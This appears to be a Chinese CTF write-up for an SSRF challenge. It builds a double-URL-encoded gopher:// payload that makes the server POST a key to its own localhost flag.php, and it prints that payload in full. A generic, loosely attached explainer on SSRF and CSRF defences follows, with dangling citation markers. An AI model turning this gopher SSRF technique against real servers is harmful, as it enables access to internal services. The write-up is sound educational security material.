SSRF服务端请求伪造漏洞——POST请求

初见页面:

点击链接后,页面显示如下:

一片空白,还是直接访问一下http://127.0.0.1/flag.php,发现界面突然多了个搜索框

右键查看页面源代码:

发现多了个key值,复制粘贴到搜索框并回车一下

得到提示:只允许从127.0.0.1访问

尝试使用Gopher协议向服务器发送POST包,但是现在没有提交按钮,所以需要自己构造POST请求,用python脚本来构造Gopher协议的payload:

构造payload:

/?url=gopher%3A//127.0.0.1%3A80/_POSTxxxxxxxx

这样就得到flag了,当然还有另一种手工修改的,不过比较麻烦,拿之前手工做过的例子讲解一下

还是差不多的模版,经过URL编码后,复制结果到word文档中,用替换功能将文本里的%0a%全部替换成%0D%0A

POST%20/flag.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Length:%2036%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Akey=526cfc11b4df24a4042fedaba0cc812b

再进行二次URL编码:

构造payload:

/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=526cfc11b4df24a4042fedaba0cc812b

一样可以得到flag

### 登录页面中的SSRF和CSRF漏洞分析及其防护措施 #### SSRF漏洞分析 SSRF(Server-Side Request Forgery),即服务端请求伪造,是一种通过欺骗服务器向指定地址发送请求的攻击方式。这种漏洞通常发生在应用程序允许用户输入URL或其他网络资源路径的情况下[^1]。如果登录页面存在未经过滤或验证的功能模块(如重定向功能、API调用接口等),可能会成为SSRF攻击的目标。 对于SSRF漏洞,在登录页面上可能存在的情况包括但不限于以下几点: - 如果登录逻辑涉及外部服务调用(例如OAuth认证流程中与第三方平台交互),而这些调用缺乏严格的白名单机制,则可能导致SSRF风险。 - 攻击者可以利用此漏洞扫描内部IP地址空间或者尝试访问受限于防火墙保护的服务实例[^4]。 为了有效检测并防止此类问题发生,建议采取如下策略: - **严格限定可访问范围**:仅允许已知安全域内的连接操作;实施基于正则表达式的过滤器来匹配合法域名结构[^3]。 - **隔离敏感环境**:确保生产环境中任何对外暴露的应用程序都不具备直接通往私有子网的能力[^2]。 #### CSRF漏洞分析 CSRF (Cross-site request forgery),跨站请求伪造是指攻击者诱使受害者在其已经登录的状态下执行非预期动作的一种威胁形式。尽管传统意义上的CSRF更常见于那些修改数据状态的动作(像转账交易之类的行为),但在某些特殊场景里,即便是简单的GET请求也可能带来潜在危害——特别是当它们能够泄露隐私信息时[^5]。 针对登录界面而言,虽然大多数情况下它本身不会直接受到CSRF的影响(因为尚未完成身份验证过程之前不存在有效的会话凭证可供滥用)。然而需要注意的是,如果网站设计不当,使得预加载阶段就携带了过多不必要的Cookie或者其他持久化标志符的话,那么即使是在初次进入站点的过程中也有可能遭遇类似的隐患。 以下是几种推荐用来抵御CSRF的方法: - 使用一次性Token作为附加参数嵌入表单提交过程中,并由后台校验其有效性; - 对所有POST类型的HTTP请求增加额外的身份确认步骤,比如重新询问密码或者是显示验证码图像让用户填写正确答案后再继续处理后续业务逻辑; - 设置恰当的安全头部选项,例如`X-Frame-Options`, `Content Security Policy`(CSP)等等,从而减少被框架劫持的风险概率。 ```python # 示例代码展示如何生成随机数token用于CSRF防护 import secrets def generate_csrf_token(): return secrets.token_hex(16) csrf_token = generate_csrf_token() print(csrf_token) ``` 上述Python片段展示了创建一个强健且难以预测的字符串序列的过程,该串可以在每次渲染HTML文档前分配给客户端保存起来以便稍后回传至服务器做进一步核对之用。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值